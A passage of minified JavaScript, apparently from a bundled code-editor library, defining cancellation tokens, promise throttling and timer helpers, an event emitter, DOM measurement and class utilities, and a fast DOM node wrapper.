0),this._emitter=void 0))},Object.defineProperty(e.prototype,\"isCancellationRequested\",{get:function(){return this._isCancelled},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onCancellationRequested\",{get:function(){return this._isCancelled?o:(this._emitter||(this._emitter=new n.Emitter),this._emitter.event)},enumerable:!0,configurable:!0}),e}(),s=function(){function e(){}return Object.defineProperty(e.prototype,\"token\",{get:function(){return this._token||(this._token=new r),this._token},enumerable:!0,configurable:!0}),e.prototype.cancel=function(){this._token?this._token.cancel():this._token=i.Cancelled},e.prototype.dispose=function(){this.cancel()},e}();t.CancellationTokenSource=s}),define(d[18],h([1,0,10,15,7,123,3,11]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e){return e&&\"function\"==typeof e.then}function l(e,t){return new o.TPromise(function(i,o,r){e.done(function(e){try{t(e)}catch(e){n.onUnexpectedError(e)}i(e)},function(e){try{t(e)}catch(e){n.onUnexpectedError(e)}o(e)},function(e){r(e)})},function(){e.cancel()})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.toThenable=function(e){return u(e)?e:o.TPromise.as(e)},t.asWinJsPromise=function(e){var t=new r.CancellationTokenSource;return new o.TPromise(function(n,i,r){var s=e(t.token);s instanceof o.TPromise?s.then(n,i,r):u(s)?s.then(n,i):n(s)},function(){t.cancel()})},t.wireCancellationToken=function(e,t,i){var r=e.onCancellationRequested(function(){return t.cancel()});return i&&(t=t.then(void 0,function(e){if(!n.isPromiseCanceledError(e))return o.TPromise.wrapError(e)})),l(t,function(){return r.dispose()})};var c=function(){function e(){this.activePromise=null,this.queuedPromise=null,this.queuedPromiseFactory=null}return e.prototype.queue=function(e){var t=this;if(this.activePromise){if(this.queuedPromiseFactory=e,!this.queuedPromise){var n=function(){t.queuedPromise=null;var e=t.queue(t.queuedPromiseFactory);return t.queuedPromiseFactory=null,e};this.queuedPromise=new o.TPromise(function(e,i,o){t.activePromise.then(n,n,o).done(e)},function(){t.activePromise.cancel()})}return new o.TPromise(function(e,n,i){t.queuedPromise.then(e,n,i)},function(){})}return this.activePromise=e(),new o.TPromise(function(e,n,i){t.activePromise.done(function(n){t.activePromise=null,e(n)},function(e){t.activePromise=null,n(e)},i)},function(){t.activePromise.cancel()})},e}();t.Throttler=c;var d=function(){function e(){this.current=o.TPromise.as(null)}return e.prototype.queue=function(e){return this.current=this.current.then(function(){return e()})},e}();t.SimpleThrottler=d;var h=function(){function e(e){this.defaultDelay=e,this.timeout=null,this.completionPromise=null,this.onSuccess=null,this.task=null}return e.prototype.trigger=function(e,t){var n=this;return void 0===t&&(t=this.defaultDelay),this.task=e,this.cancelTimeout(),this.completionPromise||(this.completionPromise=new o.TPromise(function(e){n.onSuccess=e},function(){}).then(function(){n.completionPromise=null,n.onSuccess=null;var e=n.task;return n.task=null,e()})),this.timeout=setTimeout(function(){n.timeout=null,n.onSuccess(null)},t),this.completionPromise},e.prototype.isTriggered=function(){return null!==this.timeout},e.prototype.cancel=function(){this.cancelTimeout(),this.completionPromise&&(this.completionPromise.cancel(),this.completionPromise=null)},e.prototype.cancelTimeout=function(){null!==this.timeout&&(clearTimeout(this.timeout),this.timeout=null)},e}();t.Delayer=h;var p=function(e){function t(t){var n=e.call(this,t)||this;return n.throttler=new c,n}return f(t,e),t.prototype.trigger=function(t,n){var i=this;return e.prototype.trigger.call(this,function(){return i.throttler.queue(t)},n)},t}(h);t.ThrottledDelayer=p;var g=function(e){function t(t,n){void 0===n&&(n=0);var i=e.call(this,t)||this;return i.minimumPeriod=n,i.periodThrottler=new c,i}return f(t,e),t.prototype.trigger=function(t,n){var i=this;return e.prototype.trigger.call(this,function(){return i.periodThrottler.queue(function(){return o.Promise.join([o.TPromise.timeout(i.minimumPeriod),t()]).then(function(e){return e[1]})})},n)},t}(p);t.PeriodThrottledDelayer=g;var m=function(){function e(){var e=this;this._value=new o.TPromise(function(t,n){e._completeCallback=t,e._errorCallback=n})}return Object.defineProperty(e.prototype,\"value\",{get:function(){return this._value},enumerable:!0,configurable:!0}),e.prototype.complete=function(e){this._completeCallback(e)},e.prototype.error=function(e){this._errorCallback(e)},e}();t.PromiseSource=m;var v=function(e){function t(t){var i,o,r,s=this;return s=e.call(this,function(e,t,n){i=e,o=t,r=n},function(){o(n.canceled())})||this,t.then(i,o,r),s}return f(t,e),t}(o.TPromise);t.ShallowCancelThenPromise=v,t.always=l,t.sequence=function(e){function t(){return e.length?e.pop()():null}function n(e){void 0!==e&&null!==e&&i.push(e);var r=t();return r?r.then(n):o.TPromise.as(i)}var i=[];return e=e.reverse(),o.TPromise.as(null).then(n)},t.first=function(e,t){void 0===t&&(t=function(e){return!!e}),e=e.reverse().slice();var n=function(){return 0===e.length?o.TPromise.as(null):e.pop()().then(function(e){return t(e)?o.TPromise.as(e):n()})};return n()};var _=function(){function e(e){this.maxDegreeOfParalellism=e,this.outstandingPromises=[],this.runningPromises=0,this._onFinished=new a.Emitter}return Object.defineProperty(e.prototype,\"onFinished\",{get:function(){return this._onFinished.event},enumerable:!0,configurable:!0}),e.prototype.queue=function(e){var t=this;return new o.TPromise(function(n,i,o){t.outstandingPromises.push({factory:e,c:n,e:i,p:o}),t.consume()})},e.prototype.consume=function(){for(var e=this;this.outstandingPromises.length&&this.runningPromises<this.maxDegreeOfParalellism;){var t=this.outstandingPromises.shift();this.runningPromises++;var n=t.factory();n.done(t.c,t.e,t.p),n.done(function(){return e.consumed()},function(){return e.consumed()})}},e.prototype.consumed=function(){this.runningPromises--,this.outstandingPromises.length>0?this.consume():this._onFinished.fire()},e.prototype.dispose=function(){this._onFinished.dispose()},e}();t.Limiter=_;var y=function(e){function t(){return e.call(this,1)||this}return f(t,e),t}(_);t.Queue=y,t.setDisposableTimeout=function(e,t){for(var n=[],i=2;i<arguments.length;i++)n[i-2]=arguments[i];var o=setTimeout.apply(void 0,[e,t].concat(n));return{dispose:function(){clearTimeout(o)}}};var C=function(e){function t(){var t=e.call(this)||this;return t._token=-1,t}return f(t,e),t.prototype.dispose=function(){this.cancel(),e.prototype.dispose.call(this)},t.prototype.cancel=function(){-1!==this._token&&(i.clearTimeout(this._token),this._token=-1)},t.prototype.cancelAndSet=function(e,t){var n=this;this.cancel(),this._token=i.setTimeout(function(){n._token=-1,e()},t)},t.prototype.setIfNotSet=function(e,t){var n=this;-1===this._token&&(this._token=i.setTimeout(function(){n._token=-1,e()},t))},t}(s.Disposable);t.TimeoutTimer=C;var b=function(e){function t(){var t=e.call(this)||this;return t._token=-1,t}return f(t,e),t.prototype.dispose=function(){this.cancel(),e.prototype.dispose.call(this)},t.prototype.cancel=function(){-1!==this._token&&(i.clearInterval(this._token),this._token=-1)},t.prototype.cancelAndSet=function(e,t){this.cancel(),this._token=i.setInterval(function(){e()},t)},t}(s.Disposable);t.IntervalTimer=b;var w=function(){function e(e,t){this.timeoutToken=-1,this.runner=e,this.timeout=t,this.timeoutHandler=this.onTimeout.bind(this)}return e.prototype.dispose=function(){this.cancel(),this.runner=null},e.prototype.cancel=function(){this.isScheduled()&&(i.clearTimeout(this.timeoutToken),this.timeoutToken=-1)},e.prototype.setRunner=function(e){this.runner=e},e.prototype.schedule=function(e){void 0===e&&(e=this.timeout),this.cancel(),this.timeoutToken=i.setTimeout(this.timeoutHandler,e)},e.prototype.isScheduled=function(){return-1!==this.timeoutToken},e.prototype.onTimeout=function(){this.timeoutToken=-1,this.runner&&this.runner()},e}();t.RunOnceScheduler=w,t.nfcall=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return new o.TPromise(function(n,i){return e.apply(void 0,t.concat([function(e,t){return e?i(e):n(t)}]))},function(){return null})},t.ninvoke=function(e,t){for(var n=[],i=2;i<arguments.length;i++)n[i-2]=arguments[i];return new o.TPromise(function(i,o){return t.call.apply(t,[e].concat(n,[function(e,t){return e?o(e):i(t)}]))},function(){return null})}}),define(d[38],h([1,0,10]),function(e,t,n){\"use strict\";function i(e){try{return e()}catch(e){n.onUnexpectedError(e)}}function o(e,t){try{return e(t)}catch(e){n.onUnexpectedError(e)}}Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){return function(e,t){void 0===e&&(e=null),void 0===t&&(t=null),this.type=e,this.data=t}}();t.EmitterEvent=r;var s=function(){function e(e){if(void 0===e&&(e=null),this._listeners={},this._bulkListeners=[],this._collectedEvents=[],this._deferredCnt=0,e){this._allowedEventTypes={};for(var t=0;t<e.length;t++)this._allowedEventTypes[e[t]]=!0}else this._allowedEventTypes=null}return e.prototype.dispose=function(){this._listeners={},this._bulkListeners=[],this._collectedEvents=[],this._deferredCnt=0,this._allowedEventTypes=null},e.prototype.addListener=function(e,t){if(\"*\"===e)throw new Error(\"Use addBulkListener(listener) to register your listener!\");if(this._allowedEventTypes&&!this._allowedEventTypes.hasOwnProperty(e))throw new Error(\"This object will never emit this event type!\");this._listeners.hasOwnProperty(e)?this._listeners[e].push(t):this._listeners[e]=[t];var n=this;return{dispose:function(){n&&(n._removeListener(e,t),n=null,t=null)}}},e.prototype.addOneTimeListener=function(e,t){var n=this.addListener(e,function(e){n.dispose(),t(e)});return n},e.prototype.addBulkListener=function(e){var t=this;return this._bulkListeners.push(e),{dispose:function(){t._removeBulkListener(e)}}},e.prototype.addEmitter=function(e){var t=this;return e.addBulkListener(function(e){0===t._deferredCnt?t._emitEvents(e):t._collectedEvents.push.apply(t._collectedEvents,e)})},e.prototype._removeListener=function(e,t){if(this._listeners.hasOwnProperty(e))for(var n=this._listeners[e],i=0,o=n.length;i<o;i++)if(n[i]===t){n.splice(i,1);break}},e.prototype._removeBulkListener=function(e){for(var t=0,n=this._bulkListeners.length;t<n;t++)if(this._bulkListeners[t]===e){this._bulkListeners.splice(t,1);break}},e.prototype._emitToSpecificTypeListeners=function(e,t){if(this._listeners.hasOwnProperty(e))for(var n=this._listeners[e].slice(0),i=0,r=n.length;i<r;i++)o(n[i],t)},e.prototype._emitToBulkListeners=function(e){for(var t=this._bulkListeners.slice(0),n=0,i=t.length;n<i;n++)o(t[n],e)},e.prototype._emitEvents=function(e){this._bulkListeners.length>0&&this._emitToBulkListeners(e);for(var t=0,n=e.length;t<n;t++){var i=e[t];this._emitToSpecificTypeListeners(i.type,i.data)}},e.prototype.emit=function(e,t){if(void 0===t&&(t={}),this._allowedEventTypes&&!this._allowedEventTypes.hasOwnProperty(e))throw new Error(\"Cannot emit this event type because it wasn't listed!\");if(this._listeners.hasOwnProperty(e)||0!==this._bulkListeners.length){var n=new r(e,t);0===this._deferredCnt?this._emitEvents([n]):this._collectedEvents.push(n)}},e.prototype.beginDeferredEmit=function(){this._deferredCnt=this._deferredCnt+1},e.prototype.endDeferredEmit=function(){this._deferredCnt=this._deferredCnt-1,0===this._deferredCnt&&this._emitCollected()},e.prototype.deferredEmit=function(e){this.beginDeferredEmit();var t=i(e);return this.endDeferredEmit(),t},e.prototype._emitCollected=function(){if(0!==this._collectedEvents.length){var e=this._collectedEvents;this._collectedEvents=[],this._emitEvents(e)}},e}();t.EventEmitter=s;var a=function(){return function(e,t){this.target=e,this.arg=t}}(),u=function(e){function t(){var t=e.call(this,null)||this;return t._emitQueue=[],t}return f(t,e),t.prototype._emitToSpecificTypeListeners=function(e,t){if(this._listeners.hasOwnProperty(e))for(var n=this._listeners[e],i=0,o=n.length;i<o;i++)this._emitQueue.push(new a(n[i],t))},t.prototype._emitToBulkListeners=function(e){for(var t=this._bulkListeners,n=0,i=t.length;n<i;n++)this._emitQueue.push(new a(t[n],e))},t.prototype._emitEvents=function(t){for(e.prototype._emitEvents.call(this,t);this._emitQueue.length>0;){var n=this._emitQueue.shift();o(n.target,n.arg)}},t}(s);t.OrderGuaranteeEventEmitter=u}),define(d[4],h([1,0,7,18,10,38,3,29,28,65,47]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(e,t,n,i){return new N(e,t,n,i)}function h(e){return function(t){return e(new c.StandardMouseEvent(t))}}function p(e){return function(t){return e(new l.StandardKeyboardEvent(t))}}function g(e){return document.defaultView.getComputedStyle(e,null)}function m(e,t,n){var i=g(e),o=\"0\";return i&&(o=i.getPropertyValue?i.getPropertyValue(t):i.getAttribute(n)),O(e,o)}function v(e){for(var t=e.offsetParent,n=e.offsetTop,i=e.offsetLeft;null!==(e=e.parentNode)&&e!==document.body&&e!==document.documentElement;){n-=e.scrollTop;var o=g(e);o&&(i-=\"rtl\"!==o.direction?e.scrollLeft:-e.scrollLeft),e===t&&(i+=R.getBorderLeftWidth(e),n+=R.getBorderTopWidth(e),n+=e.offsetTop,i+=e.offsetLeft,t=e.offsetParent)}return{left:i,top:n}}function _(e){var t=R.getMarginLeft(e)+R.getMarginRight(e);return e.offsetWidth+t}function y(e){var t=R.getMarginLeft(e)+R.getMarginRight(e);return e.scrollWidth+t}function C(e,t){if(null===e)return 0;var n=v(e),i=v(t);return n.left-i.left}function b(e){void 0===e&&(e=document.getElementsByTagName(\"head\")[0]);var t=document.createElement(\"style\");return t.type=\"text/css\",t.media=\"screen\",e.appendChild(t),t}function w(e){return e&&e.sheet&&e.sheet.rules?e.sheet.rules:e&&e.sheet&&e.sheet.cssRules?e.sheet.cssRules:[]}function S(e,t){for(;e;){if(e instanceof HTMLElement&&e.hasAttribute(t))return e;e=e.parentNode}return null}Object.defineProperty(t,\"__esModule\",{value:!0}),t.clearNode=function(e){for(;e.firstChild;)e.removeChild(e.firstChild)},t.safeStringifyDOMAware=function(e){var t=[];return JSON.stringify(e,function(e,n){if(n instanceof Element)return\"[Element]\";if(a.isObject(n)||Array.isArray(n)){if(-1!==t.indexOf(n))return\"[Circular]\";t.push(n)}return n})},t.isInDOM=function(e){for(;e;){if(e===document.body)return!0;e=e.parentNode}return!1};var E=new(function(){function e(){}return e.prototype._findClassName=function(e,t){var n=e.className;if(n){t=t.trim();var i=n.length,o=t.length;if(0!==o)if(i<o)this._lastStart=-1;else{if(n===t)return this._lastStart=0,void(this._lastEnd=i);for(var r,s=-1;(s=n.indexOf(t,s+1))>=0;){if(r=s+o,(0===s||32===n.charCodeAt(s-1))&&32===n.charCodeAt(r))return this._lastStart=s,void(this._lastEnd=r+1);if(s>0&&32===n.charCodeAt(s-1)&&r===i)return this._lastStart=s-1,void(this._lastEnd=r);if(0===s&&r===i)return this._lastStart=0,void(this._lastEnd=r)}this._lastStart=-1}else this._lastStart=-1}else this._lastStart=-1},e.prototype.hasClass=function(e,t){return this._findClassName(e,t),-1!==this._lastStart},e.prototype.addClass=function(e,t){e.className?(this._findClassName(e,t),-1===this._lastStart&&(e.className=e.className+\" \"+t)):e.className=t},e.prototype.removeClass=function(e,t){this._findClassName(e,t),-1!==this._lastStart&&(e.className=e.className.substring(0,this._lastStart)+e.className.substring(this._lastEnd))},e.prototype.toggleClass=function(e,t,n){this._findClassName(e,t),-1===this._lastStart||void 0!==n&&n||this.removeClass(e,t),-1!==this._lastStart||void 0!==n&&!n||this.addClass(e,t)},e}()),L=new(function(){function e(){}return e.prototype.hasClass=function(e,t){return t&&e.classList&&e.classList.contains(t)},e.prototype.addClass=function(e,t){t&&e.classList&&e.classList.add(t)},e.prototype.removeClass=function(e,t){t&&e.classList&&e.classList.remove(t)},e.prototype.toggleClass=function(e,t,n){e.classList&&e.classList.toggle(t,n)},e}()),x=u.isIE?E:L;t.hasClass=x.hasClass.bind(x),t.addClass=x.addClass.bind(x),t.removeClass=x.removeClass.bind(x),t.toggleClass=x.toggleClass.bind(x);var N=function(){function e(e,t,n,i){this._node=e,this._type=t,this._handler=n,this._useCapture=i||!1,this._node.addEventListener(this._type,this._handler,this._useCapture)}return e.prototype.dispose=function(){this._handler&&(this._node.removeEventListener(this._type,this._handler,this._useCapture),this._node=null,this._handler=null)},e}();t.addDisposableListener=d,t.addStandardDisposableListener=function(e,t,n,i){var o=n;return\"click\"===t||\"mousedown\"===t?o=h(n):\"keydown\"!==t&&\"keypress\"!==t&&\"keyup\"!==t||(o=p(n)),d(e,t,o,i)},t.addDisposableNonBubblingMouseOutListener=function(e,t){return d(e,\"mouseout\",function(n){for(var i=n.relatedTarget||n.toElement;i&&i!==e;)i=i.parentNode;i!==e&&t(n)})};var M=function(){var e=self.requestAnimationFrame||self.msRequestAnimationFrame||self.webkitRequestAnimationFrame||self.mozRequestAnimationFrame||self.oRequestAnimationFrame,t=self.cancelAnimationFrame||self.cancelRequestAnimationFrame||self.msCancelAnimationFrame||self.msCancelRequestAnimationFrame||self.webkitCancelAnimationFrame||self.webkitCancelRequestAnimationFrame||self.mozCancelAnimationFrame||self.mozCancelRequestAnimationFrame||self.oCancelAnimationFrame||self.oCancelRequestAnimationFrame,n=!!e,i=e||function(e){return setTimeout(function(){return e((new Date).getTime())},0)},o=t||function(e){};return{isNative:n,request:function(e){return i(e)},cancel:function(e){return o(e)}}}(),T=function(){function e(e,t){this._runner=e,this.priority=t,this._canceled=!1}return e.prototype.dispose=function(){this._canceled=!0},e.prototype.execute=function(){if(!this._canceled)try{this._runner()}catch(e){o.onUnexpectedError(e)}},e.sort=function(e,t){return t.priority-e.priority},e}();!function(){var e=[],n=null,i=!1,o=!1,r=function(){for(i=!1,n=e,e=[],o=!0;n.length>0;)n.sort(T.sort),n.shift().execute();o=!1};t.scheduleAtNextAnimationFrame=function(t,n){void 0===n&&(n=0);var o=new T(t,n);return e.push(o),i||(i=!0,M.request(r)),o},t.runAtThisOrScheduleAtNextAnimationFrame=function(e,i){if(o){var r=new T(e,i);return n.push(r),r}return t.scheduleAtNextAnimationFrame(e,i)}}();var k=16,I=function(e,t){return t},D=function(e){function t(t,n,o,r,s){void 0===r&&(r=I),void 0===s&&(s=k);var a=e.call(this)||this,u=null,l=0,c=a._register(new i.TimeoutTimer),h=function(){l=(new Date).getTime(),o(u),u=null};return a._register(d(t,n,function(e){u=r(u,e);var t=(new Date).getTime()-l;t>=s?(c.cancel(),h()):c.setIfNotSet(h,s-t)})),a}return f(t,e),t}(s.Disposable);t.addDisposableThrottledListener=function(e,t,n,i,o){return new D(e,t,n,i,o)},t.getComputedStyle=g;var O=function(e,t){return parseFloat(t)||0},R={getBorderLeftWidth:function(e){return m(e,\"border-left-width\",\"borderLeftWidth\")},getBorderTopWidth:function(e){return m(e,\"border-top-width\",\"borderTopWidth\")},getBorderRightWidth:function(e){return m(e,\"border-right-width\",\"borderRightWidth\")},getBorderBottomWidth:function(e){return m(e,\"border-bottom-width\",\"borderBottomWidth\")},getPaddingLeft:function(e){return m(e,\"padding-left\",\"paddingLeft\")},getPaddingTop:function(e){return m(e,\"padding-top\",\"paddingTop\")},getPaddingRight:function(e){return m(e,\"padding-right\",\"paddingRight\")},getPaddingBottom:function(e){return m(e,\"padding-bottom\",\"paddingBottom\")},getMarginLeft:function(e){return m(e,\"margin-left\",\"marginLeft\")},getMarginTop:function(e){return m(e,\"margin-top\",\"marginTop\")},getMarginRight:function(e){return m(e,\"margin-right\",\"marginRight\")},getMarginBottom:function(e){return m(e,\"margin-bottom\",\"marginBottom\")},__commaSentinel:!1};t.getTopLeftOffset=v,t.getDomNodePagePosition=function(e){var n=e.getBoundingClientRect();return{left:n.left+t.StandardWindow.scrollX,top:n.top+t.StandardWindow.scrollY,width:n.width,height:n.height}},t.StandardWindow=new(function(){function e(){}return Object.defineProperty(e.prototype,\"scrollX\",{get:function(){return\"number\"==typeof window.scrollX?window.scrollX:document.body.scrollLeft+document.documentElement.scrollLeft},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"scrollY\",{get:function(){return\"number\"==typeof window.scrollY?window.scrollY:document.body.scrollTop+document.documentElement.scrollTop},enumerable:!0,configurable:!0}),e}()),t.getContentWidth=function(e){var t=R.getBorderLeftWidth(e)+R.getBorderRightWidth(e),n=R.getPaddingLeft(e)+R.getPaddingRight(e);return e.offsetWidth-t-n},t.getTotalWidth=_,t.getTotalScrollWidth=y,t.getContentHeight=function(e){var t=R.getBorderTopWidth(e)+R.getBorderBottomWidth(e),n=R.getPaddingTop(e)+R.getPaddingBottom(e);return e.offsetHeight-t-n},t.getTotalHeight=function(e){var t=R.getMarginTop(e)+R.getMarginBottom(e);return e.offsetHeight+t},t.getLargestChildWidth=function(e,t){var n=t.map(function(t){return Math.max(y(t),_(t))+C(t,e)||0});return Math.max.apply(Math,n)},t.isAncestor=function(e,t){for(;e;){if(e===t)return!0;e=e.parentNode}return!1},t.findParentWithClass=function(e,n,i){for(;e;){if(t.hasClass(e,n))return e;if(i&&t.hasClass(e,i))return null;e=e.parentNode}return null},t.createStyleSheet=b;var P=b();t.createCSSRule=function(e,t,n){void 0===n&&(n=P),n&&t&&n.sheet.insertRule(e+\"{\"+t+\"}\",0)},t.getCSSRule=function(e,t){if(void 0===t&&(t=P),!t)return null;for(var n=w(t),i=0;i<n.length;i++){var o=n[i];if(o.selectorText.replace(/::/gi,\":\")===e)return o}return null},t.removeCSSRulesContainingSelector=function(e,t){if(void 0===t&&(t=P),t){for(var n=w(t),i=[],o=0;o<n.length;o++)-1!==n[o].selectorText.indexOf(e)&&i.push(o);for(o=i.length-1;o>=0;o--)t.sheet.deleteRule(i[o])}},t.isHTMLElement=function(e){return\"object\"==typeof HTMLElement?e instanceof HTMLElement:e&&\"object\"==typeof e&&1===e.nodeType&&\"string\"==typeof e.nodeName},t.EventType={CLICK:\"click\",AUXCLICK:\"auxclick\",DBLCLICK:\"dblclick\",MOUSE_UP:\"mouseup\",MOUSE_DOWN:\"mousedown\",MOUSE_OVER:\"mouseover\",MOUSE_MOVE:\"mousemove\",MOUSE_OUT:\"mouseout\",CONTEXT_MENU:\"contextmenu\",WHEEL:\"wheel\",KEY_DOWN:\"keydown\",KEY_PRESS:\"keypress\",KEY_UP:\"keyup\",LOAD:\"load\",UNLOAD:\"unload\",ABORT:\"abort\",ERROR:\"error\",RESIZE:\"resize\",SCROLL:\"scroll\",SELECT:\"select\",CHANGE:\"change\",SUBMIT:\"submit\",RESET:\"reset\",FOCUS:\"focus\",BLUR:\"blur\",INPUT:\"input\",STORAGE:\"storage\",DRAG_START:\"dragstart\",DRAG:\"drag\",DRAG_ENTER:\"dragenter\",DRAG_LEAVE:\"dragleave\",DRAG_OVER:\"dragover\",DROP:\"drop\",DRAG_END:\"dragend\",ANIMATION_START:u.isWebKit?\"webkitAnimationStart\":\"animationstart\",ANIMATION_END:u.isWebKit?\"webkitAnimationEnd\":\"animationend\",ANIMATION_ITERATION:u.isWebKit?\"webkitAnimationIteration\":\"animationiteration\"},t.EventHelper={stop:function(e,t){e.preventDefault?e.preventDefault():e.returnValue=!1,t&&(e.stopPropagation?e.stopPropagation():e.cancelBubble=!0)}},t.saveParentsScrollTop=function(e){for(var t=[],n=0;e&&e.nodeType===e.ELEMENT_NODE;n++)t[n]=e.scrollTop,e=e.parentNode;return t},t.restoreParentsScrollTop=function(e,t){for(var n=0;e&&e.nodeType===e.ELEMENT_NODE;n++)e.scrollTop!==t[n]&&(e.scrollTop=t[n]),e=e.parentNode};var A=function(e){function n(n){var i=e.call(this)||this,o=!1,s=!1;i._eventEmitter=i._register(new r.EventEmitter);return i._register(d(n,t.EventType.FOCUS,function(e){s=!1,o||(o=!0,i._eventEmitter.emit(\"focus\",{}))},!0)),i._register(d(n,t.EventType.BLUR,function(e){o&&(s=!0,window.setTimeout(function(){s&&(s=!1,o=!1,i._eventEmitter.emit(\"blur\",{}))},0))},!0)),i}return f(n,e),n.prototype.addFocusListener=function(e){return this._eventEmitter.addListener(\"focus\",e)},n.prototype.addBlurListener=function(e){return this._eventEmitter.addListener(\"blur\",e)},n}(s.Disposable);t.trackFocus=function(e){return new A(e)},t.append=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return t.forEach(function(t){return e.appendChild(t)}),t[t.length-1]},t.prepend=function(e,t){return e.insertBefore(t,e.firstChild),t};var F=/([\\w\\-]+)?(#([\\w\\-]+))?((.([\\w\\-]+))*)/;t.$=function(e,t){for(var n=[],i=2;i<arguments.length;i++)n[i-2]=arguments[i];var o=F.exec(e);if(!o)throw new Error(\"Bad use of emmet\");var r=document.createElement(o[1]||\"div\");return o[3]&&(r.id=o[3]),o[4]&&(r.className=o[4].replace(/\\./g,\" \").trim()),Object.keys(t||{}).forEach(function(e){/^on\\w+$/.test(e)?r[e]=t[e]:\"selected\"===e?t[e]&&r.setAttribute(e,\"true\"):r.setAttribute(e,t[e])}),n.filter(function(e){return!!e}).forEach(function(e){e instanceof Node?r.appendChild(e):r.appendChild(document.createTextNode(e))}),r},t.join=function(e,t){var n=[];return e.forEach(function(e,i){i>0&&(t instanceof Node?n.push(t.cloneNode()):n.push(document.createTextNode(t))),n.push(e)}),n},t.show=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=0,i=e;n<i.length;n++)i[n].style.display=\"\"},t.hide=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=0,i=e;n<i.length;n++)i[n].style.display=\"none\"},t.removeTabIndexAndUpdateFocus=function(e){if(e&&e.hasAttribute(\"tabIndex\")){if(document.activeElement===e){var t=S(e.parentElement,\"tabIndex\");t&&t.focus()}e.removeAttribute(\"tabindex\")}},t.getElementsByTagName=function(e){return Array.prototype.slice.call(document.getElementsByTagName(e),0)},t.finalHandler=function(e){return function(t){t.preventDefault(),t.stopPropagation(),e(t)}},t.domContentLoaded=function(){return new n.TPromise(function(e,t){\"complete\"===document.readyState||document&&null!==document.body?window.setImmediate(e):window.addEventListener(\"DOMContentLoaded\",e,!1)})},t.computeScreenAwareSize=function(e){var t=window.devicePixelRatio*e;return Math.max(1,Math.floor(t))/window.devicePixelRatio},t.windowOpenNoOpener=function(e){var t=window.open();t&&(t.opener=null,t.location.href=e)}}),define(d[27],h([1,0,4]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e){this.domNode=e,this._maxWidth=-1,this._width=-1,this._height=-1,this._top=-1,this._left=-1,this._bottom=-1,this._right=-1,this._fontFamily=\"\",this._fontWeight=\"\",this._fontSize=-1,this._lineHeight=-1,this._letterSpacing=-100,this._className=\"\",this._display=\"\",this._position=\"\",this._visibility=\"\",this._layerHint=!1}return e.prototype.setMaxWidth=function(e){this._maxWidth!==e&&(this._maxWidth=e,this.domNode.style.maxWidth=this._maxWidth+\"px\")},e.prototype.setWidth=function(e){this._width!==e&&(this._width=e,this.domNode.style.width=this._width+\"px\")},e.prototype.unsetWidth=function(){-1!==this._width&&(this._width=-1,this.domNode.style.width=\"\")},e.prototype.setHeight=function(e){this._height!==e&&(this._height=e,this.domNode.style.height=this._height+\"px\")},e.prototype.unsetHeight=function(){-1!==this._height&&(this._height=-1,this.domNode.style.height=\"\")},e.prototype.setTop=function(e){this._top!==e&&(this._top=e,this.domNode.style.top=this._top+\"px\")},e.prototype.unsetTop=function(){-1!==this._top&&(this._top=-1,this.domNode.style.top=\"\")},e.prototype.setLeft=function(e){this._left!==e&&(this._left=e,this.domNode.style.left=this._left+\"px\")},e.prototype.setBottom=function(e){this._bottom!==e&&(this._bottom=e,this.domNode.style.bottom=this._bottom+\"px\")},e.prototype.setRight=function(e){this._right!==e&&(this._right=e,this.domNode.style.right=this._right+\"px\")},e.prototype.setFontFamily=function(e){this._fontFamily!==e&&(this._fontFamily=e,this.domNode.style.fontFamily=this._fontFamily)},e.prototype.setFontWeight=function(e){this._fontWeight!==e&&(this._fontWeight=e,this.domNode.style.fontWeight=this._fontWeight)},e.prototype.setFontSize=function(e){this._fontSize!==e&&(this._fontSize=e,this.domNode.style.fontSize=this._fontSize+\"px\")},e.prototype.setLineHeight=function(e){this._lineHeight!==e&&(this._lineHeight=e,this.domNode.style.lineHeight=this._lineHeight+\"px\")},e.prototype.setLetterSpacing=function(e){this._letterSpacing!==e&&(this._letterSpacing=e,this.domNode.style.letterSpacing=this._letterSpacing+\"px\")},e.prototype.setClassName=function(e){this._className!==e&&(this._className=e,this.domNode.className=this._className)},e.prototype.toggleClassName=function(e,t){n.toggleClass(this.domNode,e,t),this._className=this.domNode.className},e.prototype.addClassName=function(e){n.addClass(this.domNode,e),this._className=this.domNode.className},e.prototype.removeClassName=function(e){n.removeClass(this.domNode,e),this._className=this.domNode.className},e.prototype.setDisplay=function(e){this._display!==e&&(this._display=e,this.domNode.style.display=this._display)},e.prototype.setPosition=function(e){this._position!==e&&(this._position=e,this.domNode.style.position=this._position)},e.prototype.setVisibility=function(e){this._visibility!==e&&(this._visibility=e,this.domNode.style.visibility=this._visibility)},e.prototype.setLayerHinting=function(e){this._layerHint!==e&&(this._layerHint=e,this.domNode.style.willChange=this._layerHint?\"transform\":\"auto\")},e.prototype.setAttribute=function(e,t){this.domNode.setAttribute(e,t)},e.prototype.getAttribute=function(e){return this.domNode.getAttribute(e)},e.prototype.removeAttribute=function(e){this.domNode.removeAttribute(e)},e.prototype.hasAttribute=function(e){return this.domNode.hasAttribute(e)},e.prototype.appendChild=function(e){this.domNode.appendChild(e.domNode)},e.prototype.removeChild=function(e){this.domNode.removeChild(e.domNode)},e}();t.FastDomNode=i,t.createFastDomNode=function(e){return new i(e)}}),define(d[83],h([1,0,3,4,148,47]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.standardMouseMoveMerger=function(e,t){var n=new r.StandardMouseEvent(t);return n.preventDefault(),{leftButton:n.leftButton,posx:n.posx,posy:n.posy}};var s=function(e){function t(){var t=e.call(this)||this;return t.hooks=[],t.mouseMoveEventMerger=null,t.mouseMoveCallback=null,t.onStopCallback=null,t}return 